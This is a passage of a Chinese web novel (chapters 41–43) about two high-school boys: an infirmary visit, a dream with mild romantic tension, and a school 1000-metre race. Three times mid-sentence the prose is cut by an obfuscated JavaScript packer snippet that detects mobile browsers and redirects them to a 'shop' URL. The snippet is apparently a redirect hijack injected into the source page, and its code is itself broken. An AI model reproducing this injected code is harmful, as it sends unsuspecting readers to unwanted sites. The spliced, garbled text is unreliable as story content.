就在程抒晴快被语气词爱好者逼疯的前一秒,救星终于回来了。 “……那就辛苦姐姐你帮忙处理一下啦,”阮牧年边跟医生说话边走进来,“我们回来了……呃,发生什么了?” 两人的表情一个饱含期待,一个满眼幽怨。 阮牧年迷惑地看了看这两人,他才出去没多久啊。 他看向程抒晴,她露出一个获救的笑容:“没事,你回来了就好。” 阮牧年:“?” 他又看向桑群。 后者一脸无动于衷,只说:“没什么。” 阮牧年:“??” 医生开始处理伤口,阮牧年跟桑群退到门边的等候椅上,问:“你俩怎么怪怪的?” 桑群:“……她见过我,我忘了。” “啊,”阮牧年想了想,“然后你不知道说什么,把气氛弄得很尴尬吗?” 这也不能怪他吧,气氛在程抒晴开口前就已经很尴尬了。 桑群没说话。 阮牧年叹了口气:“我之前怎么说来着?” 桑群:“怎么说。” “遇到比较热情的人,”阮牧年数给他听,“像高璋、程抒晴这样,首先,一定不能让他们的话掉了,就算说语气词也是有回应;其次,积极给人家正面反馈,不要屁都不放一个……” 桑群:“真放了你又不乐意。” 阮牧年:“……第三!不要随便打断别人的话。” 桑群点头:“哦。” 桑群:“满意吗?” “允许你说语气词,不是让你只能说语气词,”阮牧年捏了捏眉心,“总之,还是要多说说看。你待会儿有事吗?” 桑群:“没事。干什么。” “那就在这待到放学吧,”阮牧年靠到墙上,“呼,有空调就是舒服啊。” 桑群看了眼时钟,还有两个多小时才放学。 在医务室跟这俩人待到放学……算了,那他还是有事吧。 刚想开口,那边处理好伤口的程抒晴冲这边招了招手。 阮牧年起身,顺便拉了桑群一把。 桑群:“……” 他真的不想过去。 “怎么了?”阮牧年走近问。 “你们待会儿还有事吗?”程抒晴问,“没什么事的话,留下来陪我呗?一个人太无聊了,顺便还能吹吹空调呢。” 阮牧年笑了笑:“我也是这么想的呢。” 他坐到了病人旁边的凳子上,回头叫人:“桑群,过来。” 桑群站在两人旁边,说:“我有事。” 阮牧年:“你有什么事?” 桑群:“关你屁事。” 阮牧年眯起眼:“你再说一遍。” 桑群:“……” 他找了个椅子坐下:“……我没事了。” “嚯,”程抒晴叹为观止,“六爷说的字数比刚才多了好多哇。” 阮牧年:“他刚刚说了什么?” “嗯哦呵,”程抒晴道,“精悍的语言大师。” 阮牧年笑了两声:“跟他说话不能客气呀,不然就要陷入语气词漩涡了。” 程抒晴看了看抱臂靠在墙上的桑群:“是吗?” 桑群没说话。 阮牧年补充:“也不要问他是否型的问题,不然得到语气词回答的可能性高达89.6%。” 程抒晴惊讶:“还有数据支撑啊?” “不信你看,”阮牧年对桑群说,“空调舒不舒服?” 桑群:“……嗯。” 程抒晴对阮大师竖了竖大拇指。 “你不要直接靠在墙上,到时候都沾上灰了,”阮牧年又说,“把后面帘子拉上再靠。” 桑群:“哦。” 他直起身把帘子拉上。 程同学真诚发问:“那什么时候可以多说几个字?” 阮牧年说:“找骂的时候。” 程抒晴:“?” “桑群,”阮牧年现身教学,“把脚拿开。” 桑群莫名其妙地看了一眼自己的脚,没有碍到任何人。 他无语:“你早上没吃药?” “能不能给我们倒杯水,”阮牧年又说,“饮水机在那边,我要四分之三杯温水。” 桑群动都没动,强忍着没翻白眼:“滚,给你脸了。” 阮牧年摊手看向程抒晴:“你看。” 程抒晴小声地给阮·桑群研究专家·牧年鼓掌。 阮牧年说:“你也可以试试。” “那,桑群同学,”程抒晴开始学以致用,“我也想要一杯温水,热水多一点,80%就可以了。” 桑群忍无可忍:“你俩有病吧?” 阮牧年笑了笑:“拜托啦。” 程抒晴抱拳:“拜托拜托。” 桑群:“……” 他看了这两人几秒,起身去拿纸杯了。 “诶,”程抒晴看了看他离去的身影,小声跟阮牧年说,“真去倒了?我以为拜托也是找骂的一部分呢。” “我真渴了呀,”阮牧年说,“医务室的药房居然没有空调,只有手动挡的风扇。刚才跟医生姐姐说了大半天话,口都干了。” “那真是辛苦你了,”程抒晴看向他,纠结了一下才开口,“也很感谢你们扶我过来,就是……刚刚……” 阮牧年:“嗯?” “我朋友让你帮忙的事,其实本来不用麻烦你的啦,就是……”程抒晴咬了咬唇,无奈地叹了口气,“她是‘念书’的cp粉,所以喜欢撮合我们俩……呃,你介意吗?” 阮牧年闻言怔了一下:“哦,没事。” “我还以为是看旁边只有我们两个男生,”阮牧年顿了顿,笑说,“没关系,至少也不是我一个人扶的,说不定明天的校园新闻是龙头虎尾争风吃醋呢?” 程抒晴没忍住噗嗤了一声:“你不介意就好,不然总会觉得尴尬嘛,连朋友都难做。” 那边桑群端着两个纸杯回来了,往两人面前一递。 阮牧年冲他歪了歪头,没伸手。 桑群挤出一个字:“给。” “好哦,”阮牧年这才接下杯子,笑着说,“谢谢桑……群。” “谢谢六爷,哇,”程抒晴也连忙接过,低头一看惊呼道,“还真是80%啊……” “很精准吧?”阮牧年给她看自己的四分之三杯水。 桑群没说话,靠回墙上的时候双腿膝盖轻轻撞了一下。 有水喝的两人又开始聊天,从运动会项目到班级排名,再到早上比赛的逸闻,欢声笑语的。 原来这就是所谓的工作内容吗,涉猎真广。 大多数他们谈及的人和事他都没有印象,也没有兴趣,于是闲聊声渐渐成了模糊的背景杂音,舒适凉爽的空间里,前不久刚消散的困意重新涌上。 意识有些混沌,朦胧的视角里,有谁凑了过来,一种轻柔的触感覆在身上。 已经开始做梦了吗。 若是以往,他或许会强迫自己在陷入深眠之前清醒过来,抗拒着可能发生的未知的梦。 可今天,阮牧年就在身边。 是比团团还令人安心的存在。 恍惚间,他感觉到自己似乎正被那只熟悉的柔软的手握着,于是再无顾虑地跃进袭来的梦境。 真的有些困倦了,连梦里都懒得动弹。 与大多数人不同,桑群很多时候能意识到自己是在梦里,并且醒来后也能清楚地记得梦的内容。 梦境的底色是一片遥远模糊的浅色块,一开始分辨不出场景和时间,四周也没什么动静。 桑群如同坐等电影开幕,静静任由自己或悬浮或躺在这片空间里。 没多久,一团团浅灰的色块出现在他身边,逐渐形成一个个人形,流动着,扭曲着,魍魉鬼怪一般。 有一块更深的灰色接近他,波动的幅度很剧烈,似乎是在指责或咒骂着什么。 耳边嗡嗡地响动,可能是他听不懂的梦语,随着灰块变化声调。 桑群看着它。 这又是哪一段被意识异化的记忆? 周遭的景色依然蒙着一层纱,隐约能看见天光。 身体被推搡了一下。 那灰块向他冲来,似乎要撞碎他。 桑群下意识闭上眼。 像被海水堵塞的耳膜里忽然涌进一道慌张的清澈声音。 “等等!” 桑群颤了下眼皮,睁开看见了一张熟悉的脸。 是小学时期的阮牧年。 一年级还是三年级,有些记不清了。稚嫩的面庞还是记忆里的模样,紧张时会抓着袖口,眼尾时不时就泛红。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356319|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大片灰色的人影里,阮牧年是唯一的彩块。 只是对方的身形也被怪梦同化成不规则的流体,仅剩一张还算完整的脸。 阮牧年拽住了那块深灰的人形。 他们说了什么,桑群依旧听不清,只看见人影的浮动渐渐平缓,然后一步步远离他。 桑群后知后觉自己是坐姿,周身的每一块灰影都在蠕动、扭曲,鼓动不规则的曲线条,囔着含义不明的话音靠近他。 可没有一块人影触碰到他。 因为,有一抹彩色穿梭在这片空间,笨拙地、固执地将那些灰块一个一个拉离。 他想起来了。 他做过这个梦,只是那个原版的梦,跟现在有些出入。 这些灰色的人影,本该长满了眼睛。粘稠的目光如蛛丝般将坐在中央的他一点点裹缠,然后吞没。 他蜷在恐惧的茧里,听见外面传来一道明快欢乐的笑。 是阮牧年的声音。 他也想起来了,最初做这个梦的时候,是他第一次被阮牧年以哥哥的姿态教训,抽红了掌心,浑身狼狈。 像是察觉到他的思绪变化,梦境的场景也开始转换。 他躺在虚无的地面上,瞳孔里映照出一个缓缓接近的人影。 阮牧年就这样背着书包,穿着洁净整齐的校服,一步步朝他走来,然后在他脑边站住。 他居高临下地瞥了眼地上的人,眼里没什么情绪,只轻笑一声,随后移开了目光。 然后他走了。 没有回头,没有犹豫,就像寻常放学路上偶遇了一块有意思的垃圾,会停下看一眼,但不会过多停留。 桑群听到他离开的方向,响起了其他人声。 “牧年,这里!” “快来牧年,就等你了。” “牧年,走啦。” 而阮牧年融入那片浅灰的人影,成为它们的中心,越来越远、越来越远。 桑群闭上了眼。 怎么又开始做这种梦了。 那段时间,他总是反复梦见阮牧年居高临下的眼神,以及越走越远的身影。 而他在茧里,濒死挣扎,逐渐窒息。 眼前忽然出现一扇门,啪地一声关上,将那副渐行渐远的场景隔绝开来。 一道熟悉的声音不知何时凑近了他,放得又低又轻。 “我把那扇门关上了,”那声音说,“别看。” 一双手从后颈侧伸过来,谁人将他的整个后背抱住。 桑群没有说话,也没有动,在梦里他常常是被动的。 余光里出现了阮牧年的脸,是他现在的样子,少年盛气,眉眼温柔。 “第二扇门里,只有我们。” 阮牧年贴着他的耳尖,这样说。 ……没见过的梦。 看来是结合最近的事衍生出来的。 桑群依旧没有回应,想看梦境会如何继续。 阮牧年的怀抱一点点缩紧,他微凉的指尖轻轻擦过桑群的下颌,在唇下的凹陷处揉了揉。 桑群没忍住颤了一下,真是……奇怪的发展。 而他的脸被阮牧年掰了过去,被迫对上少年直凌凌的目光。 “我说了,这扇门里没有别人,”阮牧年半垂着眼看他,眼里的情绪像暗涌的深海,极黑的深处映照着他的样貌,“只有你……桑群,你就一直待在这里,好不好?” 桑群没说话,只觉不太对劲。 而面前的阮牧年只停了一秒,就继续他怪异的动作。 他拨开桑群的额发,另一只手掌罩住后者的视线,一片漆黑中,只能通过扑在脸上的气息感知对方的距离。 这是…… 桑群察觉到那股气息越来越近,手指不由抽动了一下,想要往后缩。 没成功。 梦里的他,果然不是自由的。 而那股让他脸热心慌的气浪一直忽远忽近地扑在唇鼻周围,暧昧地巡游,却始终不落在实处。 许久,另一根修长的手指抵上他的唇,眼上的遮盖被拿开,阮牧年的脸近在咫尺,眼尾的笑意很淡。 “你觉得……”他就这样轻声呼气,“我会做些什么呢?” 桑群不知道。 他更不明白,这场梦为什么还没醒来。 快醒醒。 不能继续下去了。 可事不如人愿。 阮牧年的手指按开他紧抿的唇瓣,沾了一点晶莹的水,开始在他脸周轻抹。 “桑群,你也害怕我会离开,是不是?”阮牧年的声音仿佛充满诱惑的魔法低语,“那我们就一直待在这里吧。在这个只有我们两个人的地方,哪儿也不去。” “我们永远、永远,都只有彼此,”阮牧年深邃的眼眸仿佛要将他吞没,“好不好?” 桑群张了张口,腰间似乎被人缠住,可阮牧年的手并不在他腰上。 “真遗憾啊,”梦里的阮牧年轻笑着看他,黯淡下来的眼神恋恋不舍,“你又该醒来了。” 那根逗弄他的手指终于不再撩火,轻轻按开他的下唇。 在阮牧年吻过来之前,桑群睁开了自己真正的眼皮。 不曾想,撞进眼帘的依旧是阮牧年贴近的脸。 42. 42 早些时候,阮牧年刚把水喝完,被程抒晴提醒了一句。 “桑群同学好像……睡着了?” 阮牧年看过去,桑群抱着胳膊靠在拉帘的墙上,双目阖闭,脑袋稍稍歪斜,但整体姿势还算端正,不去留意根本察觉不到他已闭眼。 怎么在这里睡着了? 想起来早上拉他去跑四百米之前也是这样,还以为只是习惯性犯困,难道是真的没睡好吗? 阮牧年又跟程抒晴说了两句,起身去医务室柜台那边。 他问医生借了条毯子,顺便把空调温度调高了一点。 在程抒晴的注视下,阮牧年轻手轻脚把毯子给眠浅的人盖上,掖到肩膀处,没有其他动作,怕惊醒他。 不知道要睡多久,先这样吧。 他抬起自己的凳子往外挪了一点,以免说话的声音吵到桑群。 程抒晴的目光有些古怪,掩着嘴小声说:“你们关系挺好啊?” 阮牧年笑了笑,气音回她:“是啊。” “开学之前,论坛上认为你们争锋相对的观点至少占百分之八十,”程抒晴轻声说,“坐了同桌之后还以为会打起来呢,没想到……真是奇妙的发展啊。” “难道不该是我的魅力吗,”阮牧年跟她开了个玩笑,“团结身边的一切群众啊。” 程抒晴抖着肩膀无声笑起来。 没说两句,阮牧年忽然又起身,程抒晴疑惑地看他朝那边睡着的人走去。 或许是陷入深眠,肢体有些放松,抱胳膊的姿势不由松散下来,桑群的一只手垂落到身侧。 阮牧年小心抓起他的手腕,将那只泛凉的手重新塞进毯子里。 他趁机观察了一眼桑群的面部表情,还算平和,没有皱眉。 似乎不是在做噩梦,可手却是凉的,难道是空调太冷了? 阮牧年又给他拉了拉有些滑落的毯子,回到自己座位上。 程抒晴捂着嘴,冲他挪揄地眨了眨眼。 阮牧年后知后觉刚才自然的动作在别人看来有些过于亲近了,不自在地摸了摸鼻子。 他找补道:“桑群脾气不好,被冷醒要骂人的。” “哦——”程抒晴拉长声音,还是那个眼神,“我知道啦。” 阮牧年:“……” 怎么感觉她知道的和他想表达的不是一回事。 又过了一会儿,今早的项目基本接近尾声,程抒晴联系了家长来接,很快就走了。时间滑向饭点,医生也打算去食堂,阮牧年主动揽下关门关电的活。 而桑群还没醒。 阮牧年支着脑袋看着他发呆。 平常桑群总是白天犯困,偶尔是因为帮工厂赶活或者补作业,大多数时候跟他糟糕的睡眠脱不了干系。 夜里难入睡,睡着容易做噩梦,惊醒后更难入睡。 这段时间好了不少。他们住在一起后,桑群上床睡觉的时间早了很多,有时阮牧年起夜会去屋里看他,确实睡着了,团团在旁边尽职尽责地守着他。 阮牧年回想着昨晚的事,关灯睡觉的时间跟平常差不多,桑群睡的沙发,夜里也没有转辗反侧的动静。 要不要研究点改善睡眠的菜谱呢…… 思维发散,目光黏在桑群身上,不知何时自己已经挪到对方身边,挨在桑群肩膀旁,听他细微的呼吸声。 阮牧年坐了一会儿,感觉耳边的声音停了,皱起眉伸手指过去,隔空搭在他鼻下。 还有热气。 他松了口气,扭头盯着桑群的脸,说不清自己为什么要这样守着。 都饭点了,叫醒桑群,回去做饭、吃饭,然后在床上好好睡一觉,下午精神充沛地去跳高。 应该是这样的。 但他莫名不想动弹,在学校无人打扰的空间里,在气流清凉舒爽的室内,只想就这么静静待一会儿,和桑群。 或许是前不久桑群在操场跟他说的话,让他想起了一些很久以前的事。那天在酸菜鱼馆里,明明互相保证了不要害怕,可惧怕的触角依然会从心底的坑洞里钻出,一点点爬满他的整颗心脏。 等阮牧年回过神来,发现自己竟将指尖搭在桑群脸上,无知觉地抚摸了不知多久。 就在这时,桑群轻轻颤了一下。 阮牧年慌乱地撤开自己的手,屏息等待对方的下一步动作。 等了一会儿,毫无动静。 还不醒吗? 阮牧年看了眼挂钟,再睡下去,学校要午禁了。 他先去把空调和灯都关了,室内的光线昏暗下来,窗帘拉着,外面的阳光被米黄帘子过滤成灰蒙蒙的光雾。 阮牧年往门外看了一眼,人似乎都走光了。 实在不行……只能把桑群抱回去了。 最好的办法明明是叫醒他。 可……阮牧年不想叫醒他。 阮牧年抿了抿唇,伸手从毯子的另一侧钻进去,轻轻扶住桑群的腰。 俯身准备发力的时候,他的脸难免凑近对方,就见那双紧闭许久的眼睛忽然睁开。 桑群还没醒神,恍惚以为自己还在梦里。 梦中梦? 然而面前的阮牧年不复梦里那般游刃有余,见他醒来先是怔然,接着连忙往后退开一些距离。 “可算醒了,”阮牧年挤出一个笑,偷偷把手收回来,说不清自己为什么这样遮遮掩掩,“不然我就要亲你了。” 像是触发到什么关键词,桑群手一抖,猛地把人推开。 本来只是想活跃气氛的阮牧年猝不及防踉跄两步,差点摔到地上。 桑群皱眉:“你干什么。” 阮牧年委屈:“你干嘛?” 两人互瞪了几秒。 桑群清了清嗓子,重新问了一遍:“凑这么近……干什么?” “童话里都是这样写的,”阮牧年说,“王子用亲吻唤醒了睡美人,你睡得那么死,看来只能用这个办法叫醒了。” 桑群:“……你才睡美人。” “我不是哦,”阮牧年嘻嘻道,“我是王子。” 桑群揉了揉脖颈,有点酸:“几点了?” 阮牧年:“都晚上了,你跳高都是我帮你跳的。” 桑群:“?” 他看了眼周围的环境,光线灰暗,真的一觉睡到了晚上? 很快他就看见了墙上的挂钟。 桑群无语:“你唬小孩儿呢?” 阮牧年坐到他旁边:“那你不是差点就信了嘛。” “其他人……”桑群又看向不远的柜台和处理台,“都走了?” “嗯,”阮牧年伸出手帮他一块揉着,“就剩我们啦。” 听到这句话,桑群心里颤了一下,不可避免地想到刚刚梦里的那些胡言乱语。 第一次做这样的梦。 也是第一次……梦见这样的阮牧年。 他心底忽然涌起一股后怕,如果刚刚没有推开对方,梦里那个未竟的吻恐怕会变成现实。 那就太糟糕了。 更糟糕的是,阮牧年可能真的会傻傻地以为,是王子的吻唤醒了睡美人。 不对,应该是美人唤醒了王子。 他才不当睡美人。 “桑群?” 桑群回过神,嗓子嗯了一声。 “你是不是……又做梦了?”阮牧年有些担忧地看着他,手指搭在他后颈上,“惊醒的?” 桑群顿了一下:“没。” “不是噩梦,”他别过脸,假装揉太阳穴醒神,躲开阮牧年的视线,“……可能也不是什么好梦,反正醒来就忘了。” 阮牧年惊讶:“还有你记不住的梦吗?” 桑群:“我又不是什么梦都记得。” “哦好吧,”阮牧年点头,“醒神了吗?回家吃饭吧。” 桑群:“嗯。” 他看着阮牧年的背影沉思,都说日有所思夜有所梦,梦见阮牧年不奇怪,可梦里的那个阮牧年又十分奇怪。 无论怎么想,都很难将阮牧年跟梦里那个形象联系在一起。 那双眼睛颜色很深,一颦一笑全是心机,言语和举动甚至带着令人沉重的压迫感。 桑群忍不住回味了一下,更可耻的是,他居然不讨厌…… 啧。 难道是最近太饥渴了? 高中生果然屁事多。 “高中生怎么了,看不起未成年吗?”体委叉着腰骂回去,“成年人了不起啊?还不是屁溜屁溜回来当高中生!” 被骂的人一脸不屑:“那是你们学校求我留下来的,真以为我稀罕啊?反正你们只是群毛都没长齐的小屁孩,还想运动会拿第一?白日做梦。” 体委:“你!” 刘嘉在旁边劝他:“算了璋哥,跟傻逼互呛浪费时间,我们到时候好好打他脸就行了。” “打脸?”留级生狂妄地笑出声来,“你们班除了那个什么阮牧年,还有什么人能看?阮牧年跳远也没跳过我,真不知道你们有什么底气跟我叫板。” “我、我们……”体委左右张望,怒气上头居然直接抓了桑群的手举起来,“我们还有六爷呢!” 正在发呆被人打断的桑群:“?” “六爷?”留级生疑惑地掏了掏耳朵,“谁?” 他今年刚回高二年级,还没听说过年段里龙头虎尾的传说。 虽然没看懂这是什么场面,以及自己怎么就被牵扯其中了,但桑群勉强能感受到气氛里的剑拔弩张,于是毫不客气地开口。 “你爷爷。”他说。 留级生刚想骂:“你……” “诶对!”刘嘉连忙打断他,“你刚刚喊了啊,我可都听见了,大家伙都听见了!你喊未成年爷爷了!” 留级生:“血口喷人……” 桑群还是没搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其他人走后,桑群甩掉阮牧年的胳膊:“别压我。说好的重在参与呢?” 阮牧年说:“想要拿好名次也是参与的一部分啊。像你跑四百米那样的话,应该叫划水摸鱼。” 桑群:“……那你加油吧,冠军。” “要不要打赌,”阮牧年自有办法调动他的积极性,直言道,“比谁先到终点。” 桑群觉得他无聊极了:“……赌什么。” “赌什么呢?赌什么……”阮牧年来回踱步,凑到他耳边说了几句话,“那就赌……” 桑群表情松动了些许,但还是说:“没意思。” 阮牧年:“你就说比不比吧?” 桑群哼了一声:“随便。” “不能太随便,但也不用太紧张,”体委在一旁给他加油鼓劲,“牧年已经去拿号码牌了,六爷你……” 桑群觉得他好烦:“哦。” 对面不说话了,糟糕,想到阮牧年社交指南第三条,不能随便打断别人的话,于是桑群顿了顿,补上一句:“不紧张。” “啊哈哈,”体委自讨没趣地挠了挠头,“那就好、那就好。” 桑群疑惑,怎么感觉还是把天聊死了。 分配跑道的时候,桑群和阮牧年不仅是同一组,居然还是相邻道。 阮牧年原地跳了跳:“你猜待会儿谁先起步?” 桑群不想参与他无聊的攀比:“……我。” “凭什么?”阮牧年立马道,“我特地换了双新鞋。” 桑群看向他的鞋,有点眼熟。 阮牧年笑着在他下巴上抬了一下,不让他看。 桑群反应过来,难怪,这双鞋原来是…… 一道刻薄的声音在阮牧年旁边响起,带着浓浓的不悦:“哟,这不是跳远第二的阮牧年吗?不甘心成为我的手下败将,要在一千米扳回一局吗?” 真晦气,留级生居然就在阮牧年旁边的跑道。 阮牧年回头冲他笑了笑:“不敢当,毕竟我也没有跟记录员勾肩搭背的好关系啊。” 留级生脸僵了僵:“你说什么呢?我那是自己跳出来的成绩!” “我没说什么啊,”阮牧年挠了挠头,一脸无辜,“只是感慨你和记录员关系好而已。” 桑群冷眼看着他们,吐出四个字:“狗急跳墙。” 留级生根本不把他放在眼里——毕竟桑群本人十分低调,都是靠传闻撑起的人气——以为他是个只会嘴炮的软柿子,放狠话道:“你口出狂言的事我可记着呢,待会儿要是输了就跪下来叫……” “没必要吧,”桑群皱眉,“你磕头我也不会认你这个孙子的。” 留级生被他噎了一下:“你!” 阮牧年哈哈笑了起来。 43. 43 对于这场比赛,留级生势在必得。 毕竟他参加集训、获得基地运动员荣誉证书的时候,这些高中生还在苦哈哈参加玩闹似的体育中考呢。 为了给三班这群不长眼的一个教训,他甚至临时调整了自己的计划,准备第一圈的时候稍微加速。 想到旁边两个只能看着自己的英姿而追赶不上来的绝望,他就忍不住在心里张狂大笑。 枪声一响,留级生连忙冲了出去。 没过多久,两道残影旋风似的从他身边卷过。 留级生:“?” 不是哥们,他们是来参加一百米的吗? 有新鞋加持,阮牧年果然先起步,抢占了内圈的好位置。 桑群紧随其后,在他旁边并肩跑着。 “怎么样,”跑到半圈的时候,阮牧年忍不住炫耀,“我比你快吧?” 因为内圈优势,他超了桑群半个身位。 桑群在旁边哼了一声。 哼完,就加速超过了他。 “嘿?” 阮牧年不甘落后,也跟着加速。 观众席上,看着班里的两根好苗子开局就猛冲的策略,体委不忍直视地捂住了自己的眼睛。 “是我给他们的压力太大了吗?”体委找好兄弟刘嘉诉苦,“第一圈就冲这么猛,后面被那傻逼赶上该怎么办啊……他们就不能先保存点体力吗?” 六爷变速带就算了,牧年跟他遇上,两人怎么还组合成加速带了?! 看着他们就快经过这里,体委连忙拿过纸筒喇叭:“保存体力!牧年、六爷,悠着点啊!” 三班的两颗明日之星刷地从他眼前掠过,没人鸟他。 体委:“……” 心好悲凉。 第二圈,阮牧年重新占据身位优势,甚至扭头看了桑群一眼:“我会赢的哦。” 桑群烦死他了,哪儿来那么多体力,跑这么快也有功夫叭叭。 他冷脸吐出两字:“闭嘴。” 随即屏息不再开口,专注超车。 阮牧年嘿嘿两声,近乎欢快地追上他。 操场上,两道并线疾驰的身影成为了一道亮丽的风景线。 有不明所以的其他年段同学路过,问:“陪跑也可以上跑道吗?” 三班同学:“……他们都是参赛选手。” 路人叹为观止。 最愤懑不平的当是被他俩甩出十几米的留级生,这两人的操作完全打乱了他的计划,害他没顾得上保存体力,想冲上去超越,结果弄得气喘吁吁。 不应该啊,听说阮牧年就是个死读书的学霸,哪儿来这么好的体力? 还有那个臭着脸的嘴炮,腿跑得比嘴还快? 没过多久,遥遥领先的两人就把这一组的最后一名同学套圈了。 最后一名:“……” 就不该报名这个破一千米。 要有阴影了。 前几圈阮牧年还能跟桑群争一争前后,体力消耗一上来,后面两人几乎并齐,没有多余的精力超越了。 阮牧年想说点什么,但桑群刚叫他闭嘴,他只好把话咽下去。 操场上疾冲的风向他们扑面而来,衣角被灌得鼓起,耳边是与自己同频的喘息声,一下下随着步伐砸在跑道上。 不说话效率确实高了不少,后几圈他们虽然有些累,但始终没有慢下速度。 一开始阮牧年也没想到自己能跑这么快,但有桑群在旁边,好胜心就止不住地增长,最终督促他越来越快。 好累,但一想到赌注,心情又扬了起来。 都豁出去穿上这双鞋了,不赢说不过去呀。 眼看就快只剩半圈,阮牧年轻哈一声,大幅摆起胳膊进行最后冲刺。 在他出声的同时,桑群也加快速度,与他一同向终点跑去。 落后两人一大截的留级生恨恨咬牙。 这两人是赛车成精吧?还能冲? 冲线的时候,桑群其实没什么实感,口哨声、欢呼声、喧闹声,都像是隔着一层纱的另一个世界,唯一真实的只有耳边的风声,以及阮牧年与他节奏趋近的喘息声。 很久没有这么尽兴地奔跑过了。他虽然不懒,但没什么时间去进行锻炼,很少做非必要的运动。 这一点上阮牧年跟他恰恰相反。平时一要干活就在沙发上瘫成鱼饼的人,倒是经常咬一咬牙逼自己去做点运动,可能是怕在书桌前坐久了,真变成小肥猪了吧。 毕竟是要面子的家伙。 一千米已经抵达,身体的惯性让他又往前冲了十几米,才慢慢缓下步子,想看看阮牧年情况如何。 刚回头,一只黑色旋风小陀螺车也不刹地朝他撞来。 桑群:“?” 桑群:“等……” 阻拦还没出口,阮牧年就不受控制地扑过来,桑群只来得及伸手接人。 接住了一股强大的冲击力。 后背悬空下坠的瞬间,桑群心道不妙。 这家伙果然还是吃胖了,怎么这么重。 阮牧年砸上来之后,下意识圈住对方的腰,而桑群已经踉跄落地,被缠着又往旁边滚了两下。 混乱中,桑群根本判断不出他们的处境,只能先伸手护住阮牧年的后脑,免得磕到这颗小玻璃球。 翻滚停下来的时候,余光里出现几道跑过来的身影。 桑群心里悲凉。 真倒霉,跑完比赛被同学们迎接的竟是这副窘态。 都怪阮牧年,他到底在搞什么幺蛾子? 阮牧年趴在他胸前,埋着头没动。两人都还没彻底缓过劲,胸口剧烈起伏着。 桑群松开护他后脑的右手,想把人推开。 阮牧年撑着地面正要爬起来,却不知怎么回事,他起到一半就又掉了下来,摔回桑群身上。 衣领在滚动中被扯开些许,桑群闷哼一声,感受到身上人的唇重重地压在自己锁骨下。 “起……开。”桑群艰难地说。 后勤人员终于赶到他们身边,体委连忙伸出手去拉阮牧年:“哎呦你们怎么搞的,都说不要冲那么快了……来牧年,我拉你起来。” 刘嘉挤了过来:“我来拉牧年,你去拉六爷。” 体委有些犯难,虽然六爷在三班这么久,大家已经没有一开始那么怕他了,但贸然进行肢体接触这种事…… 他犹豫地伸出手,桑群躺在地上别开眼,低声道:“……不用。” 果然被拒绝了。 体委叹了口气,正要说点操心话,旁边伸过来另一只修长干净的手。 刚站好的阮牧年没缓几秒,就伸手过来拉人。 体委想说你们刚跑完步,体力消耗大别逞强,就见别过眼的六爷把头重新转了回来,握住了那只手。 在阮牧年的借力下,桑群很快从地上站了起来。 体委:“……” 得,他白担心了。 这两人简直就是魔鬼。 还没吐槽完,体委就被人挤开,不知道什么委员拿着相机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356321|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,对着班级里的两位功臣大拍特拍。 桑群有些不适应地扭过头,阮牧年上前一步挡住他,微喘着说:“这种场面就不用拍摄了吧?” 委员放下相机:“只拍了一张,毕竟是辉煌时刻。” 真的只有一张吗?桑群不止一次怀疑,对方每次都说拍得很少要省内存,可对着他们一拍就是好几分钟。 体委拿着两瓶矿泉水过来了:“来来来,喝点水休息一下。” 阮牧年谢过他,拧开喝了一大口,见桑群还别着脸,于是用拿水的手碰了碰他的胳膊,提醒人喝水。 桑群回过神,下意识接过他手里的矿泉水,仰头喝了下去。 阮牧年的手停在半空,欲言又止。 他身后的三班众人更是目瞪口呆。 喝完桑群用手背抹了把嘴,抬眼撞见一群呆滞面孔,疑惑道:“嗯?” “你……”阮牧年话音有些干涩,“喝的是我的水。” 桑群没反应过来,习惯性怼他:“你的水?写你名字了?” 阮牧年:“……我刚喝过,不然瓶盖谁给你拧开的。” 桑群看了看他,又看了看其他人,心里有点不妙的预感,但还是嘴硬道:“你递过来,当然是你拧开的。” 阮牧年:“我为什么要给你拧瓶盖啊。” 桑群还想再说点什么,一眼扫过去,班上女生的眼神愈发奇怪。 脸上还挂着诡异的笑容。 “……” 退一万步讲,就算他真的不小心喝了阮牧年的水,也没什么大不了的吧?又不是卸人家胳膊断人家腿。 怎么一个个反应那么大。 阮牧年把手里的瓶盖递给他,叹了口气:“算了算了,你喝就喝了吧。喏,瓶盖。” 桑群:“哦。” 不知道为什么,他总觉得从地上爬起来之后,阮牧年的表现有点奇怪。 没等他细想,两人又被叫去登记成绩。 阮牧年拿着新矿泉水瓶抛了一下,瓶子稳稳当当地落在木桌上。 记录员跟他认识,笑着道:“哇牧年,你这招很帅啊。” 阮牧年浅浅笑了一下:“多练练就可以了,你有机会也可以试试哦。” “哈哈那下次我也练一下,”记录员说,“你们班今天真的是帅炸了,一千米双冠军,甚至有可能打破校记录,哇这得给五班那蠢货气成什么样啊?” 阮牧年道:“说不定能让他意识到以后表演要戴面具呢。” 记录员哈哈大笑。 又说了两句,阮牧年回头叫桑群:“走吧。” 桑群没动,道:“你先回去吧。” 